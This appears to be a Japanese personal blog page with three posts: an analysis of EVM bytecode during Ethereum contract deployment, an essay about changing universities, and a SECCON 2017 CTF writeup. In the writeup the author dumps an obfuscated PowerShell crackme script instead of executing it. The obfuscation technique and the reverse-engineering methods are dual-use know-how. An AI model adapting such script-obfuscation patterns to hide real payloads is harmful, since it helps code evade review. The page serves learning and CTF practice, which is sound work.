yyy

CTFつよくなりたい

Smart ContractをデプロイするときにEVMで行われていること

この記事は Aizu Advent Calendar 2017 - Adventar 21日目の記事です.

前の人は id:ktr_0731 で,

syfm.hatenablog.com

次は id:slme9364 です.

slme9364.hatenablog.com

はじめに

去年に引き続き2回目の参加ですが,今回は最近某所でEthereumを触ることがあり,その際疑問に思ったことを掘り下げていこうと思います.レイヤーが低めの話になります.

今回やること

Ethereumの内部でSmart Contractというものが使われていますが,これをブロックチェーン上へデプロイする時って基本的にはsolcでコンパイルしてからgethで

> eth.contract(abi).new({ from: ..... , data: ...... , gas: ..... })

とかでトランザクションを発行します.この時にdataに指定しているものってEVM bytecodeと呼ばれる16進数の列なわけで,大体こんな感じ

606060405260006001600061010...................................

になっていると思います.

また,他のユーザーに自身の作成したコントラクトを利用してもらうために、「コントラクトのアドレス」と「ABI」の2つ情報を伝えて初めて他のユーザーがデプロイされたコントラクトを使うことができるわけですが,実は利用者はコントラクトのコードに対して以下のようにアクセスすることができます.

> eth.getCode(コントラクトのアドレス)
"0x606060405260006001600061010...................................

そこでふと思ったのが,デプロイされたEVM bytecodeをリバースエンジニアリングし,コンパイルされる前のSolidityで記述されたファイルまで戻すことはどこまで可能なのか?ということです.

と言っても,EVMで使われているアセンブリも知らない初心者がリバースエンジニアリングをしようとしても詰むだけなので,今回はコントラクトをデプロイするときの処理を中心に,EVMの中でなにが行われているのか,EVM assemblyを読むことで明らかにしていきたいと思います.コントラクトを書く言語は他にもあるらしいですが,今回はとりあえずSolidityでやります.

EVMで使われるデータ構造や命令について

まず,EVM内ではどのようなデータ構造が使われているのか,どのような命令(オペコード)が使われているのか,などを簡単に調べていきます.

Ethereumの仕様書でYellow Paperと呼ばれるものや,あとはEthereumのwikiとかが参考になります.

github.com

github.com

まずデータ構造ですが,各命令はデータを保存するために以下の3つの領域を使います.

  • stack
  • memory
  • storage

stack は普通のスタックだったので省略し, memory は「無限に拡張可能なバイト配列」です.storagestackmemory と違い,長い期間存続するkey/valueストアです.

また,内部で使われている命令ですが,これは Yellow Paperの23ページに全て載っているので割愛します.

やってみる

まずは以下のようなSmart Contractから始めていきます.

pragma solidity ^0.4.0;

contract HelloWorld {
}

なにもしない空のコントラクトです.これを,以下のようにアセンブリを出力するようにして,読んでいきます.

$ solc --optimize --asm HelloWorld.sol > HelloWorld.sol.dis
======= HelloWorld.sol:HelloWorld =======
EVM assembly:
    /* "HelloWorld.sol":25:48  contract HelloWorld {... */
  mstore(0x40, 0x60)
  jumpi(tag_1, iszero(callvalue))
  0x0
  dup1
  revert
tag_1:
  dataSize(sub_0)
  dup1
  dataOffset(sub_0)
  0x0
  codecopy
  0x0
  return
stop

sub_0: assembly {
        /* "HelloWorld.sol":25:48  contract HelloWorld {... */
      mstore(0x40, 0x60)
      0x0
      dup1
      revert

    auxdata: 0xa165627a7a72305820a6b4f23e09acc57a4a971849c21344d45e014c2944a13821c5804492f1c50c720029
}

また,比較のために以下のようなコントラクトも用意します.

pragma solidity ^0.4.0;

contract HelloWorld {
  uint data;

  function HelloWorld() {
    data = 0xdeadbeef;
  }
}

これもアセンブリを出力してみます.

======= HelloWorld2.sol:HelloWorld =======
EVM assembly:
    /* "HelloWorld2.sol":25:115  contract HelloWorld {... */
  mstore(0x40, 0x60)
    /* "HelloWorld2.sol":63:113  function HelloWorld() {... */
  jumpi(tag_1, iszero(callvalue))
  0x0
  dup1
  revert
tag_1:
    /* "HelloWorld2.sol":98:108  0xdeadbeef */
  0xdeadbeef
    /* "HelloWorld2.sol":91:95  data */
  0x0
    /* "HelloWorld2.sol":91:108  data = 0xdeadbeef */
  sstore
    /* "HelloWorld2.sol":25:115  contract HelloWorld {... */
  dataSize(sub_0)
  dup1
  dataOffset(sub_0)
  0x0
  codecopy
  0x0
  return
stop

sub_0: assembly {
        /* "HelloWorld2.sol":25:115  contract HelloWorld {... */
      mstore(0x40, 0x60)
      0x0
      dup1
      revert

    auxdata: 0xa165627a7a7230582008092ae2364624e84432682e083b5c6bad044762c66a05fae7e553e4ce9258460029
}

一番最初のコントラクトを Hello World1 ,コンストラクタで0xdeadbeef を代入するほうを Hello World2 とすると,2では

/* "HelloWorld2.sol":98:108  0xdeadbeef */
0xdeadbeef
/* "HelloWorld2.sol":91:95  data */
0x0
/* "HelloWorld2.sol":91:108  data = 0xdeadbeef */
sstore

このような命令が追加されていて,これが

function HelloWorld() {
  data = 0xdeadbeef;
}

この部分にあたります. sstore という見慣れない命令がありますが,これがどういう命令なのかをYellow Paperで調べてみると Save word to storage. と書かれていました.つまり,この処理ではkey/valueストアであるstorageに 0x0 をkeyとして 0xdeadbeef (正しくは0xdeadbeefを32byteに拡張したもの)を保存しているということになります.

また,0xdeadbeef0x0 と値だけ書かれているのはpush命令が省略されて書かれていて,実際にEVM bytecodeを見てみるとこの処理は

63deadbeef600055

このようなバイト列になっています.63が push4 にあたるので, 63deadbeefpush4 0xdeadbeef , 60が push1 なので 6000push1 0x00 になり,最後の55が sstore です.

これを見るとEVMではビッグエンディアンが使われているということもわかります.

コンストラクタ以外の部分について

コンストラクタの data = 0xdeadbeef にあたる命令は

0xdeadbeef
0x0
sstore

であり, sstore(0x0, 0xdeadbeef) であることはわかったものの,他の大部分のコードは未だ謎です.これらは一体なんなのでしょうか.そもそも,EVM bytecodeをデプロイしてそれがEVM上で実行されるためには,デプロイするコード(EVM上へ登録するためのコード)が必要なはずです.コンストラクタが存在しているということ以外は Hello World1Hello World2 に違いはないので,その他のコードはデプロイするために必要なコードである可能性が高いです.

ということで,上から命令を地道に追っていきます.以下では Hello World1 (なにもしないコントラクト)を使っていきます.

コントラクトがデプロイされる処理を追う

EVM assembly:
    /* "HelloWorld.sol":25:48  contract HelloWorld {... */
  mstore(0x40, 0x60)

まずは mstore(0x40, 0x60) という命令から始まっています. mstoreSave word to memory. であり,この場合 0x40 の場所に 0x60 (正確には0x60を32byteに拡張したもの)を保存するという命令になります.実際にどのような実装になっているのか,go-ethereumを見てみます.

github.com

go-ethereum/core/vm/instructions.go の493行目にあります.

func opMstore(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
    // pop value of the stack
    mStart, val := stack.pop(), stack.pop()
    memory.Set(mStart.Uint64(), 32, math.PaddedBigBytes(val, 32))

    evm.interpreter.intPool.put(mStart, val)
    return nil, nil
}

mstore を呼ぶときのstackの状態は

 0x40
+-+-+
 0x60
+-+-+

このようになっていて,1回目の stack.pop()0x40mStart に入り2回目の stack.pop()0x60val に入ります.その後memoryに保存するのですが,その際 math.PaddedBigBytes を使って val を32byte拡張しています.そして, go-ethereum/core/vm/memory.go の32行目のSet

func (m *Memory) Set(offset, size uint64, value []byte) {
    // length of store may never be less than offset + size.
    // The store should be resized PRIOR to setting the memory
    if size > uint64(len(m.store)) {
        panic("INVALID memory: store empty")
    }

    // It's possible the offset is greater than 0 and size equals 0. This is because
    // the calcMemSize (common.go) could potentially return 0 when size is zero (NO-OP)
    if size > 0 {
        copy(m.store[offset:offset+size], value)
    }
}

これが呼ばれ,最終的に copy(m.store[offset:offset+size], value) でstoreされるという処理になっています.

次ですが,

  jumpi(tag_1, iszero(callvalue))

jumpiiszero , callvalue など見慣れない命令が出てきました.

jumpiConditionally alter the program counter と書かれていて要するに条件分岐命令であり,その後の説明を見る限り第2引数が0でなければ第1引数へ飛ぶ命令っぽいです.また, iszero はスタックから1つpopして0であれば1,そうでないなら0をスタックへpushする命令です.では callvalue がなんなのかですが,正直よくわかってません.実際のコードは以下のようになっているのですが,

func opCallValue(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
    stack.push(evm.interpreter.intPool.get().Set(contract.value))
    return nil, nil
}

contract.value がなにを指すのかがわからず...とにかくこの値が0になっていないと iszero により1がセットされないので,0であるべき値なのは確かなのですが...

では次に,tag_1へ飛んだ先の処理を追っていきます.

tag_1:
  dataSize(sub_0)
  dup1
  dataOffset(sub_0)
  0x0
  codecopy
  0x0
  return
stop

まず, dataSize(sub_0) ですがこれば実際のバイト列を見てみると 6035 のようになっていて,今回の場合は push1 0x35 だということがわかります.この 0x35 って何かというと sub_0 でラベル付けされたルーチンのバイト数であり,つまりここでは sub_0 のサイズがstackへpushされているということになります.次の dup1 ですが,これは Duplicate 1st stack item. と説明がある通りstackの1番目の要素を複製します.ここでは,現在stackへ積まれている 0x35 が複製されるということです.

次に, dataOffset(sub_0) ですがこれも実際のバイト列を見てみると 601b のようになっていて, push1 0x1b だということがわかります.この 0x1b は先頭から sub_0 までのオフセットを指していて,このオフセットをstackへ積んでいます.その後 0x0 をpushして codecopy を実行するわけですが,この時のstackの状態を整理してみると以下のようになっています.

 0x0
+-+-+
 0x1b
+-+-+
 0x35
+-+-+
 0x35
+-+-+

この状態で codecopy を呼ぶとどのように実行されていくのか, go-ethereum/core/vm/instructions.go の408行目を見ていきます.

func opCodeCopy(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
    var (
        memOffset  = stack.pop()
        codeOffset = stack.pop()
        length     = stack.pop()
    )
    codeCopy := getDataBig(contract.Code, codeOffset, length)
    memory.Set(memOffset.Uint64(), length.Uint64(), codeCopy)

    evm.interpreter.intPool.put(memOffset, codeOffset, length)
    return nil, nil
}

今回の場合, memOffset0x0 が入り, codeOffset0x1blength0x35 が入ります.そして, getDataBig での結果が codeCopy に入るわけですが, getDataBiggo-ethereum/core/vm/common.go で宣言されていて

// getDataBig returns a slice from the data based on the start and size and pads
// up to size with zero's. This function is overflow safe.
func getDataBig(data []byte, start *big.Int, size *big.Int) []byte {
    dlen := big.NewInt(int64(len(data)))

    s := math.BigMin(start, dlen)
    e := math.BigMin(new(big.Int).Add(s, size), dlen)
    return common.RightPadBytes(data[s.Uint64():e.Uint64()], int(size.Uint64()))
}

スライスを返す関数だとわかります.つまり,コントラクト全体のコードから sub_0 にあたるコードだけを取り出してそれを返します.その後, memOffset の位置 ( 0x0 )に sub_0 のコードを格納しています.

codecopy の後は 0x0 をpushして return ですが, これはメモリオフセットとサイズの2つの値をstackからpopし,memory.GetPtr での返り値を返すような処理になっています.

func opReturn(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
    offset, size := stack.pop(), stack.pop()
    ret := memory.GetPtr(offset.Int64(), size.Int64())

    evm.interpreter.intPool.put(offset, size)
    return ret, nil
}

memory.GetPtr は以下です.

// GetPtr returns the offset + size
func (self *Memory) GetPtr(offset, size int64) []byte {
    if size == 0 {
        return nil
    }

    if len(self.store) > int(offset) {
        return self.store[offset : offset+size]
    }

    return nil
}

呼び出し元へ戻ってからも後は revert しているぐらいなのですが, revert の説明が Yellow Paper に無くて,このサイト で見つけたので,後から追加された命令なんでしょうか.

ここまで説明した処理がコントラクトをデプロイする処理にあたります.

evm --debugでコントラクトがデプロイされる処理を見てみる

恐らくethereumをインストールした際に一緒に入ってくるコマンドだと思うんですが, evm というコマンドがあり,コマンドラインでいろいろできるやつです.

f:id:ywkw1717:20171221002742p:plain

これを使うと任意のEVM bytecodeをコマンドライン上で実行してくれて, --debug オプションを付けておくとstackやmemory,storageの情報を表示してくれるので,これを使って上記の処理を追うとさらにわかりやすいかと思います.では,今度は Hello World2 のコードを使っていきます.

$ evm --debug --code 60606040523415600e57600080fd5b63deadbeef60005560358060236000396000f3006060604052600080fd00a165627a7a723058201ccb8cf1608dcc548e886094db68d49551c88613cccdcfb5b89884e4028ae32f0029 run

上から順番に見ていきます.

f:id:ywkw1717:20171221004759j:plain

現在のプログラムカウンタやgasの量,それぞれにかかるコストも表示してくれています.

なにをpushしているのか書かれていないのでわかり辛さもありますが, mstore を実行する時には 0x400x60 がそれぞれ積まれているのがわかります.また, mstore によって 0x40 の位置に 0x60 を32byte拡張したものが格納されるので,赤く丸をしたところに60という数字が現れています.jumpする直前まで飛ばします.

f:id:ywkw1717:20171221005255p:plain

jumpi が実行されるときには jump先のオフセットと iszero(callvalue) の返り値である1がstackへ積まれています. jumpi の次は jumpdest となっていますが,このようにjumpする直前では実は Mark a valid destination for jumps. This operation has no effect on machine state during execution. と説明が書かれている jumpdest 命令が実行されています.

tag_1へ移動してからは,まずコンストラクタの処理である「 0xdeadbeefdata に代入」があります.

f:id:ywkw1717:20171221010315p:plain

sstore によって,32byte拡張された0をkeyにvalueである32byte拡張された 0xdeadbeef がstorageへと保存されているのがわかります.その後, codecopy まで処理は進んでいき,

f:id:ywkw1717:20171221010824j:plain

codecopy が実行された直後のmemoryを見てみると, sub_0 のコードがmemoryへ展開されているのがわかります.

いくつかの疑問点

コントラクトをデプロイする過程を追ってきましたが,いくつか疑問が残っています.

  1. mstore(0x40, 0x60) とは何のためにあるのか
  2. sub_0 のラベルが付いているルーチンはなんなのか
  3. sub_0 に書かれている auxdata とは

とりあえずこの3つについて書いていきます.

mstore(0x40, 0x60)について

まず, 0x40 というのは特別な場所らしく free memory pointer という空きメモリへのポインタを保存しておく場所です.この命令から始まることで, 0x40 の位置に 0x60 という値を入れておき, 0x60 が空いているよと伝えることができます.また, 0x60mstore を使って保存した値をもし保持しておきたい場合は free memory pointer を他の値で更新し,次はその場所を使うようにしたりと,そんな風に使うっぽいです.

ですが,これって慣習として”そういう風に使う領域”と言われているだけで,書き込みが禁止されていたりとかはないんですよね.ですので,コントラクトの本体コードが大きいものをデプロイした場合,↑で見た処理の通り sub_0 がmemoryの 0x0 に保存されるので, 0x40 にある free memory pointer はすぐ上書きされてしまうわけで.

結局よくわからなくなったので,もう少し調べてみる必要がありそうです.

sub_0のラベルが付いているルーチンについて

これは恐らく,コンストラクタ以外のコントラクトの関数が含まれる箇所で,例えば getset だけのシンプルなコントラクトにした場合, getset にあたる処理は sub_0 へ入ります.もう少し大きなコントラクトで試した場合も sub_? というラベルは sub_0 しか出てくることはなかったので,自分はコンストラクタ以外の関数(処理),つまりコントラクトの本体が含まれる箇所だと解釈しています.

sub_0に書かれている auxdata とは

これはググっても本当に情報が出てこなくて,恐らく auxdata という呼称を使っているのは Solidity なので,Solidity のソースコードを探ってみました.ちなみに auxdata という言葉自体は auxiliary data の略称であり,補助データという意味です.

github.com

solidity/libevmasm/Assembly.h の158行目にこうありました.

/// Data that is appended to the very end of the contract.
bytes m_auxiliaryData;

説明は書かれておらず,コントラクトの最後に追加されるデータってそんなことわかっとんねんと思いながら他を探しました.

solidity/libsolidity/codegen/Compiler.cpp の39行目.

m_runtimeContext.appendAuxiliaryData(_metadata);

とあり,この _metadata

void Compiler::compileContract(
    ContractDefinition const& _contract,
    std::map<const ContractDefinition*, eth::Assembly const*> const& _contracts,
    bytes const& _metadata
)
{
..........................

この関数の引数として渡ってきます.結局 metadata でしかないのはわかるんですが,これが何のためにあって,どういう使われ方をするのかはよくわかりませんでした.

auxdata: 0xa165627a7a7230582") == 0

コードのテストにはこのような1行もあり,決まったフォーマットであることもわかるのですが,正体が謎です.改ざんされていないか検証するための値とかでしょうか.

Porosityについて

今年のDEFCONでPorosityというEthereum Smart Contractsのデコンパイラが発表されました.なぜこんなリバースエンジニアリングツールが出てきたのかというと,そもそもSmart Contract自体に脆弱性が存在することがあるらしく,それを悪用して不正送金されたケースがあったとか.

で,セキュリティ対策としてコンパイルされる前のコードを静的解析するツールはあるものの,これは開発者がコードを提供することで初めて成り立つものです.セキュリティを意識しない開発者がそのままコンパイルしてブロックチェーン上へデプロイした場合はコードが安全であることを保証する方法が無く,もし新たに脆弱性が見つかった場合に開発者自信が元々のコードを保持・または共有していない限り,脆弱なコントラクトを特定するのは非常に難しくなります.

というような内容が書かれているPorosityを紹介しているサイトがあるので,詳しくはこちらをご覧ください.

blog.comae.io

ということで,このツールを少しだけ使ってみます.足りないパッケージがあったりしたので,インストール方法を載せておきます.

インストール ( Ubuntu16.04 )

$ git clone https://github.com/comaeio/porosity.git
$ cd porosity
$ sudo apt-get install libboost-all-dev
$ cd porosity/porosity
$ wget https://raw.githubusercontent.com/chriseth/solidity/0a2a2cf38b7794826a17efe44aea5dc96de98dc7/libdevcore/boost_multiprecision_number_compare_bug_workaround.hpp
$ porosity.hの中の `#include "Common.h"``#include <boost/dynamic_bitset.hpp>` の上に移動
$ make

以下のようなコントラクトで試してみます.

pragma solidity ^0.4.0;

contract Aizu {
  uint data;

  function set(uint input) public {
    data = input;
  }

  function get() public constant returns (uint) {
    return data;
  }
}

実行.

$ abi=`cat output/Aizu.abi`
$ code=`cat output/Aizu.bin`
$ porosity --abi $abi --code $code --decompile --verbose 0
Porosity v0.1 (https://www.comae.io)
Matt Suiche, Comae Technologies <support@comae.io>
The Ethereum bytecode commandline decompiler.
Decompiles the given Ethereum input bytecode and outputs the Solidity code.

Attempting to parse ABI definition...
Success.
Hash: 0x60FE47B1
executeInstruction: NOT_IMPLEMENTED: REVERT
function set(uint256) {
      if (!msg.value) {
      }
      store[var_LK0e1] = arg_4;
      return;
}


LOC: 6
Hash: 0x6D4CE63C
executeInstruction: NOT_IMPLEMENTED: REVERT
function get() {
      if (!msg.value) {
      }
      return;
      return;
}


LOC: 6

んー...どうなんですかね. set は大体戻せていますが, get は最後 return が2つ出ていたりして怪しいです.GitHubを見てみるとサンプルでは自明な脆弱性があるところは教えてくれたりするらしいですが,まだまだ発展途上というところでしょうか.

まとめ

gethの使い方!とか基本的なセットアップとかの情報は日本語でも増えてきたものの,もっと深い実装寄りの話においては日本語の記事はほとんど存在していなくて,英語の記事もまとまっているものは少なくて部分的だったり,情報を探すのに本当に苦労しました. でも,情報がここまで多くない時代ってそれが当たり前で,皆さんいろいろ探りながらブログとかへまとめていったんだなぁと思うと本当に先人に感謝だし,自分ももっと情報をアウトプットするべきだなと感じました.

以上ですが,何か間違いなどあればご指摘お願いします.

参照

2度目の退学を経て院進する話

この記事は 退学 Advent Calendar 2017 - Adventar 20日目の記事です.

前の人は@muscle_azosonさん,次は@showmeearさんです.

はじめに

この記事は,近況報告も含めた自分のこれまでの話みたいな,いわゆるポエムっぽいやつ.

4月から院進できそうだけど,その過程でいろいろ特殊なことが多くて,いっそ退学Advent Calendarとやらに公開しようってなった.

今の大学に入る前の話

元々は高校卒業後,別の大学に通っていた.実家から電車で通える私立大学.お金の問題で国公立か自宅から通える範囲の私立大学しか許されなくて,目指してた第1志望に落ちて入学した.

入学後のオリエンテーション新宿駅のバス停に現地集合だったけど迷路のような新宿駅で見事に迷い,間に合わずにサボった.結果,オリエンテーションが終わった後では既にグループが形成されていて.「あれ?ぼっちじゃね?」という事故が起きる.

それ以降,授業で1人の人を見つけ話しかけたりするも上手くいかず,唯一他の学科に1人だけ友達のような奴ができた.

友人関係はそんな感じだったんだけど,5月頃になると講義に違和感を覚えるようになった.

まずプログラミングの講義.無難にC言語だったけど,最早講義じゃない.テキストがあるのでそれ通りに自分で進めて課題をこなし,わからないところがあればTAが教えてくれるような自主学習に近い形態だった.確か教授は課題の問題をごく稀に前で解説してくれるだけ.ほぼいる意味がない. 次に英語の講義.本当に中学英語のようなことしかやらなかった記憶がある.思い出せないけど,いろいろアレだった.

ここで不満を言ってもしょうがないのでやめておくけど,そんなこともあって徐々にもう一度大学受験がしたいみたいな感情が湧いてきた.

実際に行動に移したのは6月下旬か7月頃だった気がする.親に話したら一回だけならって事で許してくれた.本当に感謝すぎる.そこから,休学届を出したのが8月頃.勉強を始めたのは8月下旬に差し掛かる頃.ここで,休学すると奨学金が止まるということや,他の大学に合格して入学した場合,借りていた半期分の奨学金は支払いが猶予されるということなど,奨学金に関する知見を得た.

その後は予備校に通うお金もないので家に引きこもって勉強したり,図書館を使ってみたり,模試やその他かかるお金をバイトして稼いだり,そんな感じ.で,元々目指してたところいけるぐらいにはセンター試験の過去問で点数が取れるようになったけど,いざ本番受けてみたら無事死亡した.

そこで出てきたのが今の大学だった.高校時代も存在は知ってたけど,関東の大学しか行くつもりはなかった.けど,結局受験して合格して入学した.

前の大学には,受験して合格したのでそっち行きますって正直に伝えた.休学理由は,お金が無いので授業料を稼ぐって話だったので嫌な顔されるかと思ったけど,そんな事はなくてむしろおめでとうとか頑張ってねとか言って貰えたので,あざっすって感じだった.最後に担任みたいな存在の教授と謎の握手を交わしたのが面白くて覚えてる.友達はほぼいなかったようなもんなので,そこら辺のことを気にする必要もなく綺麗サッパリ退学した.

これが1度目の退学.

今の大学に入学後

反省を活かし,オリエンテーションは死ぬ気で行くぞと思って行った.友人を頑張って作った.

プログラミングの講義や英語の講義に関しては,ほぼ文句がなかった.大学の講義の質がどうとか言う人はいるけど,自分にとっては以前の大学に比べたら良質な講義だと思った.プログラミングの講義は進むのが遅いかもしれないけど,講義と演習のバランスは取れてると思ったし,できる人はスキップテストが用意されてるので受ければいいし,英語は教員が外国人なので頑張って聞き取る必要があった.

そんな感じで真面目に受けていて,この頃は親への申し訳なさと自分は1年遅れているってのを妙に意識して,それでモチベーションを維持していた気がする.

GPAもそれなりに気にしていた.予習復習なんて事は流石にしてなかったけど,課題は真面目に出していた.他の時間は技術書読んだりだとか,そういう事にあてたほうが有意義だと思う.

いろいろ有利になるからって事で頑張ってたけど,研究室の選考にも使えなかったし,頑張った意味みたいな感じだった.

けど,徐々に5年一貫教育プログラムというものに興味を持った.4+1や3+2とか言われているやつで,学部4年+大学院1年っていうAと,学部を3年で中退して大学院2年っていうB1,学部を3年で卒業して大学院2年っていうB2がこの大学にはある.このプログラムはGPAが特に関係してくる.

1年早まるっていうのもそうだけど,給付型の奨学金を貰いながら大学院に通えるらしいというのに惹かれた.前の大学で借りてた奨学金もあったし,院進はお金が足りないって問題がそれで解決した.

そこからはGPAの最低ラインを守って講義を受けて,結果B1のプログラムに申し込むことができた.

申し込んで1ヶ月後の10月中旬頃に,認定書みたいなのを貰えた.あと退学願も貰った.大学院受かったら提出してくださいということらしい.

あと,大学院では研究室を変えることにした.理由は今の指導教員が自分のやりたい分野の人ではない為.やりたい事をやらせてくれると言ってくれてたけど,やっぱりある程度のサポートをしてくれる教員じゃないと厳しいと思う.研究室を変更する過程で,奨学金の推薦書を変更予定先の先生に書いてもらったり,いろいろ大変だった.

これで2度目の退学になる予定.

最後に

大学が肌に合わないと感じたらすぐに切り替えてもう一度受験し直すってのは有りで,変えて良かったと思う.

あと,GPA意識してめっちゃ頑張るんじゃなくて"最低限"頑張っておくと後々役に立つ(かも)

この大学,いろいろすごい人が多いし,そういう人達の刺激を受けることができて本当に良いし,大学を変えて良かったとしみじみ思う.

とりあえず2月の入試に合格して,その後は最終学歴が高卒にならないようにちゃんと卒業したい.

SECCON 2017 Online CTF Writeup(Powerful Shell) & おまけ(Qubic Rube)

開催期間(JST)

12/09 PM3:00 ~ 12/10 PM3:00

結果

・チーム名:wabisabi

・得点:1200 pt

・順位:170/1028

解いた問題

・Powerful Shell (Binary 300)

取り組んだが解けなかった問題

・Qubic Rube (Programming 300)

はじめに

参加してました.日本チームがめっちゃ多くてびっくりしてました.チームメンバーの活躍で去年より順位が100位ぐらい上がってました.僕は結局Powerful Shellしか通せなくて,Qubic Rubeを後輩とやっていたのですが,あと2時間あれば解けただろうって感じで,37/50 ステージ目でタイムアップだったので悲しい.

以下,Powerful ShellのWriteupです.

Writeup

Powerful Shell (Binary 300)

最初はずっとQubic Rubeをやっていたのですが,スクリプトを他の人に書いてもらっているときに「なんか解けるやつないかなぁ」と思って解いたやつです.高得点なのに解いている人が多くて,それで着手しました.

Crack me. という問題文と共に以下のような,20546行のテキストが渡されます.

$ECCON="";
$ECCON+=[char](3783/291);
$ECCON+=[char](6690/669);
$ECCON+=[char](776-740);
$ECCON+=[char](381-312);
$ECCON+=[char](403-289);
$ECCON+=[char](-301+415);
$ECCON+=[char](143-32);
$ECCON+=[char](93594/821);
$ECCON+=[char](626-561);
..........................................................
$ECCON+=[char](7631/587);
$ECCON+=[char](137-127);
$ECCON+=[char](-905+918);
$ECCON+=[char](873-863);
$ECCON+=[char](721-708);
$ECCON+=[char](803-793);
$ECCON+=[char](10426/802);
Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99;
$ECCON+=[char](520-510);
Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))

Power Shellのスクリプトだということを先に取り組んでいた@kobadlveから教えてもらい,その後も情報を貰いながら(Set-ExecutionPolicyでExecution Policyを変更する必要がある,など)Power Shellで動かすところまではいきました.@kobadlveは仮想マシンで取り組んでいたらしいのですが, Checking Host... というところで落ちてしまうということでした.自分のPCではちゃんと動いたので,環境の問題でしょうか.

上手く起動できると以下のような画面が現れます.

f:id:ywkw1717:20171210204911p:plain

僕はPCをミュートしていて後々気づくことになるのですが,鍵盤にある記号を入力すると音がでるようになっています.面白い.

まずPower Shellスクリプトから読み取れることとしては,ECCONという名前の変数にひたすらなにかを足していっているということです.Power Shellでは変数の前に$を付けて使うらしいですね.そして,最終的にそれを実行しているように見えます.

僕がまず行ったことはソースコードの抽出です.$ECCONには1文字ずつ足してスクリプトを書いていっているのだから$ECCONを別ファイルとかに書き出してしまえばソースコードは見れるのではないか?と考えました.

そこで,スクリプトの最後を以下のように変更しました.

$ECCON+=[char](803-793);
$ECCON+=[char](10426/802);
Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99;
$ECCON+=[char](520-510);
#Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))

Out-File -InputObject $ECCON -FilePath C:\Users\ywkw1\Work\script.ps1

これで,script.ps1として$ECCONを保存できました.早速中身を見てみます.

$ErrorActionPreference = "ContinueSilently"
[console]::BackgroundColor = "black";[console]::ForegroundColor = "white";cls;Set-Alias -Name x -Value Write-Host;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 